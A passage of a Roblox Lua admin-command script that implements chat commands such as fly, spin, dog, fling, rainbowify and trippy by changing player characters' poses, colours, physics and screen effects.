                                 bodyVel.velocity = ((cam.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((cam.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - cam.CoordinateFrame.p))*speed
                             else
                                 bodyVel.velocity = Vector3.new(0,0.1,0)
                             end
                             -- *** Original Orientation Calculation ***
                             bodyGyro.cframe = cam.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
                         else
                             bodyVel.velocity = Vector3.new(0,0.1,0)
                         end
                     end)
                     if not camSuccess then bodyVel.velocity = Vector3.new(0,0.1,0) end

                     if not bodyGyro or bodyGyro.Parent ~= torso or not bodyVel or bodyVel.Parent ~= torso then
                          flying = false
                     end
                 end -- *** End of WHILE loop ***

                 print(&quot;FlyScript (Original): Exiting Fly loop.&quot;)
                 ctrl = {f = 0, b = 0, l = 0, r = 0}
                 lastctrl = {f = 0, b = 0, l = 0, r = 0}
                 speed = 0
                 if bodyGyro and bodyGyro.Parent then bodyGyro:Remove() end
                 if bodyVel and bodyVel.Parent then bodyVel:Remove() end
                 bodyGyro = nil; bodyVel = nil
                 local humanoid = plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
                 if humanoid then humanoid.PlatformStand = false end
             end

             mouse.KeyDown:connect(function(key)
                 key = key:lower()
                 if key == &quot;e&quot; then
                     if flying then
                          flying = false
                     else
                          if not flying then
                              flying = true
                              coroutine.resume(coroutine.create(Fly)) -- Use coroutine
                          end
                     end
                 elseif key == &quot;w&quot; then ctrl.f = 1
                 elseif key == &quot;s&quot; then ctrl.b = -1
                 elseif key == &quot;a&quot; then ctrl.l = -1
                 elseif key == &quot;d&quot; then ctrl.r = 1
                 end
             end)

             mouse.KeyUp:connect(function(key)
                 key = key:lower()
                 if key == &quot;w&quot; then ctrl.f = 0
                 elseif key == &quot;s&quot; then ctrl.b = 0
                 elseif key == &quot;a&quot; then ctrl.l = 0
                 elseif key == &quot;d&quot; then ctrl.r = 0
                 end
             end)

             coroutine.resume(coroutine.create(Fly)) -- Initial call using coroutine
             print(&quot;FlyScript (Original): Setup complete.&quot;)
             --[[ End Original 2013 Code ]]
         else
             print(&quot;FlyScript Error: loadstring failed for Method 1!&quot;)
         end
    else
         print(&quot;FlyScript Error: Could not find Code StringValue for Method 1!&quot;)
    end


-- ==================================================================
-- == METHOD 2: Tool Fallback (If GetMouse failed)                 ==
-- == Enables the pre-placed Tool&apos;s script and removes self        ==
-- ==================================================================
else
    print(&quot;FlyScript: GetMouse() failed. Enabling Tool fallback method...&quot;)
    local backpack = plr:findFirstChild(&quot;Backpack&quot;)
    local character = plr.Character
    local flyTool = nil

    -- Look for the tool in backpack first, then character
    if backpack then flyTool = backpack:findFirstChild(&quot;FlyTool&quot;) end
    if not flyTool and character then flyTool = character:findFirstChild(&quot;FlyTool&quot;) end

    if flyTool then
        local toolLogicScript = flyTool:findFirstChild(&quot;ToolFlyLogic&quot;) -- Find the script by its name
        if toolLogicScript then
            print(&quot;FlyScript: Enabling ToolFlyLogic script.&quot;)
            toolLogicScript.Disabled = false -- *** ENABLE the script ***
        else
            print(&quot;FlyScript Error: Could not find ToolFlyLogic script inside FlyTool!&quot;)
        end
    else
        print(&quot;FlyScript Error: Could not find FlyTool in Backpack or Character to enable!&quot;)
    end

    -- Remove this launcher script as its job is done (or failed)
    print(&quot;FlyScript: Removing self.&quot;)
    wait(0.1) -- Add small delay before removing to ensure enabling happens
    script:Remove()
end -- End of if/else for method selection

]=] -- END OF OUTER LOCALSCRIPT CODE.VALUE STRING - Using ]=] to close

            -- SERVER sets the VALUE of the StringValue in the LAUNCHER script clone
            local launcherCodeValue = cl:findFirstChild(&quot;Code&quot;)
            if launcherCodeValue then
                launcherCodeValue.Value = launcherSource
            else
                 print(&quot;SERVER ERROR: Launcher clone missing &apos;Code&apos; StringValue!&quot;)
                 if flyTool then flyTool:Remove() end -- Clean up tool
                 if cl then cl:Remove() end -- Clean up launcher script
                 return -- Stop
            end

            -- Parent the launcher LocalScript to the PlayerGui and enable it
            cl.Parent = playerGui
            pcall(function() cl.Disabled = false end) -- Wrap in pcall just in case
            print(&quot;Server: Created FlyScript launcher for &quot; .. v.Name)

        end -- End of the function passed to coroutine.create

        -- Execute the coroutine
        coroutine.resume(coroutine.create(flyCoroutineFunction))

    end -- End of player loop
end -- End of :fly command block

-- Modified :unfly command
if msg:lower():sub(1, 6) == &quot;unfly &quot; then
    local plrz = GetPlr(plr, msg:lower():sub(7))
    for i, v in pairs(plrz) do
        coroutine.resume(coroutine.create(function()
            local playerGui = v:findFirstChild(&quot;PlayerGui&quot;)
            local backpack = v:findFirstChild(&quot;Backpack&quot;)
            local character = v.Character

            -- Remove the launcher script from PlayerGui if it exists
            if playerGui then
                local flyScript = playerGui:findFirstChild(&quot;FlyScript&quot;)
                if flyScript then
                    print(&quot;Server: Removing FlyScript launcher for &quot; .. v.Name)
                    flyScript:Remove()
                end
            end

            -- Remove the FlyTool from Backpack if it exists
            if backpack then
                local flyTool = backpack:findFirstChild(&quot;FlyTool&quot;)
                if flyTool then
                    print(&quot;Server: Removing FlyTool from Backpack for &quot; .. v.Name)
                    flyTool:Remove()
                end
            end

            -- Remove the FlyTool from Character if it&apos;s equipped
            if character then
                 local flyToolChar = character:findFirstChild(&quot;FlyTool&quot;)
                 if flyToolChar then
                     print(&quot;Server: Removing FlyTool from Character for &quot; .. v.Name)
                     flyToolChar:Remove() -- This should trigger the Unequipped event in the tool&apos;s script
                 end
                 -- Also ensure physics objects are removed from character (backup cleanup)
                 local torso = character:findFirstChild(&quot;Torso&quot;)
                 if torso then
                     local bg = torso:findFirstChild(&quot;BodyGyro&quot;)
                     local bv = torso:findFirstChild(&quot;BodyVelocity&quot;)
                     if bg then bg:Remove() end
                     if bv then bv:Remove() end
                 end
                 -- Ensure PlatformStand is off if Humanoid exists
                 local hum = character:findFirstChild(&quot;Humanoid&quot;)
                 if hum then
                     hum.PlatformStand = false
                 end
            end
        end)) -- End of coroutine create
    end -- End of player loop
end -- End of :unfly command block


if msg:lower() == &quot;disco&quot; then
for i, v in pairs(lobjs) do v:Remove() end
local cl = script.scripts.LightEdit:Clone() cl.Parent = game.Workspace cl.Disabled = false
end

if msg:lower() == &quot;flash&quot; then
for i, v in pairs(lobjs) do v:Remove() end
local cl = script.scripts.LightEdit1:Clone() cl.Parent = game.Workspace cl.Disabled = false
end

if msg:lower():sub(1,5) == &quot;spin &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for i,v in pairs(v.Character.Torso:children()) do if v.Name == &quot;SPINNER&quot; then v:Remove() end end
local torso = v.Character:findFirstChild(&quot;Torso&quot;)
local bg = Instance.new(&quot;BodyGyro&quot;, torso) bg.Name = &quot;SPINNER&quot; bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
until not bg or bg.Parent ~= torso
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unspin &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for a,q in pairs(v.Character.Torso:children()) do if q.Name == &quot;SPINNER&quot; then q:Remove() end end
end
end))
end
end

if msg:lower():sub(1,4) == &quot;dog &quot; then
    local plrz = GetPlr(plr, msg:lower():sub(5))
    for i, v in pairs(plrz) do
        coroutine.resume(coroutine.create(function()
            if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then

                -- 1) fetch giant-modifier (default 1)
                local modVal = 1
                local giantScript = plr.Character:findFirstChild(&quot;giantscript&quot;)
                if giantScript then
                    local mObj = giantScript:findFirstChild(&quot;modifier&quot;)
                    if mObj then modVal = mObj.Value end
                end

                -- 2) reparent any Shirt/Pants into the torso
                for _, e in ipairs(v.Character:children()) do
                    if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then
                        e.Parent = v.Character.Torso
                    end
                end

                local torso = v.Character.Torso
                torso.Transparency = 1

                -- 3) apply scaled pose offsets
                torso.Neck.C0           = CFrame.new(0, -0.5*modVal, -2*modVal)
                                          * CFrame.Angles(math.rad(90), math.rad(180), 0)
                torso[&quot;Right Shoulder&quot;].C0 = CFrame.new( 0.5*modVal, -1.5*modVal, -1.5*modVal)
                                          * CFrame.Angles(0, math.rad(90), 0)
                torso[&quot;Left Shoulder&quot;].C0  = CFrame.new(-0.5*modVal, -1.5*modVal, -1.5*modVal)
                                          * CFrame.Angles(0, math.rad(-90), 0)
                torso[&quot;Right Hip&quot;].C0      = CFrame.new( 1.5*modVal, -1*modVal,  1.5*modVal)
                                          * CFrame.Angles(0, math.rad(90), 0)
                torso[&quot;Left Hip&quot;].C0       = CFrame.new(-1.5*modVal, -1*modVal,  1.5*modVal)
                                          * CFrame.Angles(0, math.rad(-90), 0)

                -- 4) create &amp; scale fake seat
                local newSeat = Instance.new(&quot;Seat&quot;, v.Character)
                newSeat.Name       = &quot;FAKETORSO&quot;
                pcall(function() newSeat.formFactor = &quot;Symmetric&quot; end)
                newSeat.TopSurface    = 0
                newSeat.BottomSurface = 0
                newSeat.Size          = Vector3.new(3, 1, 4) * modVal
                newSeat.CFrame        = torso.CFrame

                -- 5) counteract gravity
                local bf = Instance.new(&quot;BodyForce&quot;, newSeat)
                bf.force = Vector3.new(0, newSeat:GetMass()*196.25, 0)

                -- 6) weld seat to torso (also scaled)
                local weld = Instance.new(&quot;Weld&quot;, torso)
                weld.Part0 = torso
                weld.Part1 = newSeat
                weld.C0   = CFrame.new(0, -0.5*modVal, 0)

                -- 7) recolor all parts brown
                for _, part in ipairs(v.Character:children()) do
                    if part:isA(&quot;BasePart&quot;) then
                        part.BrickColor = BrickColor.new(&quot;Brown&quot;)
                    elseif part:findFirstChild(&quot;NameTag&quot;) then
                        part.Head.BrickColor = BrickColor.new(&quot;Brown&quot;)
                    end
                end
            end
        end))
    end
end


--[[if msg:lower():sub(1,4) == &quot;dog &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then

for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end

v.Character.Torso.Transparency = 1
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
local new = Instance.new(&quot;Seat&quot;, v.Character) new.Name = &quot;FAKETORSO&quot; pcall(function() new.formFactor = &quot;Symmetric&quot; end) new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
local bf = Instance.new(&quot;BodyForce&quot;, new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
local weld = Instance.new(&quot;Weld&quot;, v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
for a, part in pairs(v.Character:children()) do if part:isA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;Brown&quot;) elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;Brown&quot;) end end
end
end))
end
end]]--

if msg:lower():sub(1,6) == &quot;undog &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then

for _, e in ipairs(v.Character.Torso:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character
end
end

v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, part in pairs(v.Character:children()) do if part:isA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;White&quot;) if part.Name == &quot;FAKETORSO&quot; then part:Remove() end elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;White&quot;) end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;creeper &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
for a, part in pairs(v.Character:children()) do if part:isA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;Bright green&quot;) if part.Name == &quot;FAKETORSO&quot; then part:Remove() end elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;Bright green&quot;) end end
end
end))
end
end

if msg:lower():sub(1,10) == &quot;uncreeper &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for _, e in ipairs(v.Character.Torso:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character
end
end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, part in pairs(v.Character:children()) do if part:isA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;White&quot;) if part.Name == &quot;FAKETORSO&quot; then part:Remove() end elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;White&quot;) end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;bighead &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
end))
end
end

if msg:lower():sub(1,9) == &quot;minihead &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
end))
end
end


if msg:lower():sub(1,9) == &quot;icecream &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 

local function icecream(char)
local van = script.scripts.vanaction:clone()
van.Value.Value = char
van.Parent = char
van.Disabled = false
end


if game.Lighting:findFirstChild(&quot;IcecreamVan&quot;) then
icecream(v.Character)
else
script.scripts.vanspawn.Disabled = true
script.scripts.vanspawn.Disabled = false
wait(0.5)
icecream(v.Character)
end
end
end))
end
end


if msg:lower():sub(1,6) == &quot;fling &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
local xran local zran
repeat xran = math.random(-9999,9999) until math.abs(xran) &gt;= 5555
repeat zran = math.random(-9999,9999) until math.abs(zran) &gt;= 5555
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
local frc = Instance.new(&quot;BodyForce&quot;, v.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service(&quot;Debris&quot;):AddItem(frc,.1)
end
end))
end
end

if msg:lower():sub(1,8) == &quot;seizure &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
local cl = script.scripts.SeizureBase:Clone() cl.Parent = v.Character cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,10) == &quot;unseizure &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for i,v in pairs(v.Character:children()) do if v.Name == &quot;SeizureBase&quot; then v:Remove() end end
wait(.1) v.Character.Humanoid.PlatformStand = false
end
end))
end
end

if msg:lower():sub(1,12) == &quot;removelimbs &quot; then
local plrz = GetPlr(plr, msg:lower():sub(13))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) and (obj.Name:find(&quot;Leg&quot;) or obj.Name:find(&quot;Arm&quot;)) then obj:Remove() end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;name &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Head&quot;) then 
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild(&quot;NameTag&quot;) then v.Character.Head.Transparency = 0 mod:Remove() end end
local char = v.Character
local mod = Instance.new(&quot;Model&quot;, char) mod.Name = msg:sub(chk1+1)
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new(&quot;Humanoid&quot;, mod) hum.Name = &quot;NameTag&quot; hum.MaxHealth = 0 hum.Health = 0
local weld = Instance.new(&quot;Weld&quot;, cl) weld.Part0 = cl weld.Part1 = char.Head
char.Head.Transparency = 1
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unname &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Head&quot;) then 
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild(&quot;NameTag&quot;) then v.Character.Head.Transparency = 0 mod:Remove() end end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;char &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.CharacterAppearance = &quot;http://www.roblox.com/asset/CharacterFetch.ashx?userId=&quot; .. msg:sub(chk1+1) --welp there isn&apos;t an easy fix for this now
v:LoadCharacter()
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unchar &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.CharacterAppearance = &quot;http://www.roblox.com/asset/CharacterFetch.ashx?userId=&quot; .. v.userId
v:LoadCharacter()
end
end))
end
end

if msg:lower():sub(1,7) == &quot;infect &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
Infect(v.Character)
end
end))
end
end

if msg:lower():sub(1,11) == &quot;rainbowify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 


for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end


for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
local cl = script.scripts.rainbowify:Clone() cl.Name = &quot;ify&quot;
cl.Parent = v.Character cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,9) == &quot;flashify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end

for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
local cl = script.scripts.flashify:Clone() cl.Name = &quot;ify&quot;
cl.Parent = v.Character cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,8) == &quot;noobify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
Noobify(v.Character)
end
end))
end
end

if msg:lower():sub(1,9) == &quot;ghostify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end

for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
if prt.Name:find(&quot;Leg&quot;) then prt.Transparency = 1 end
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;goldify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end

for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;shiny &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end

for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;normal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
if v.Character:findFirstChild(&quot;Head&quot;) then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 

for _, e in ipairs(v.Character.Torso:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character
end
end

v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new(&quot;White&quot;)
if prt.Name == &quot;FAKETORSO&quot; then prt:Remove() end
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;White&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;trippy &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and not ChkAdmin(v.Name, false) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Remove() end end
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;EFFECTGUITRIPPY&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
local cl = script.scripts.trippy:Clone() cl.Parent = scr cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,9) == &quot;untrippy &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name == &quot;EFFECTGUITRIPPY&quot; then g:Remove() end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;strobe &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
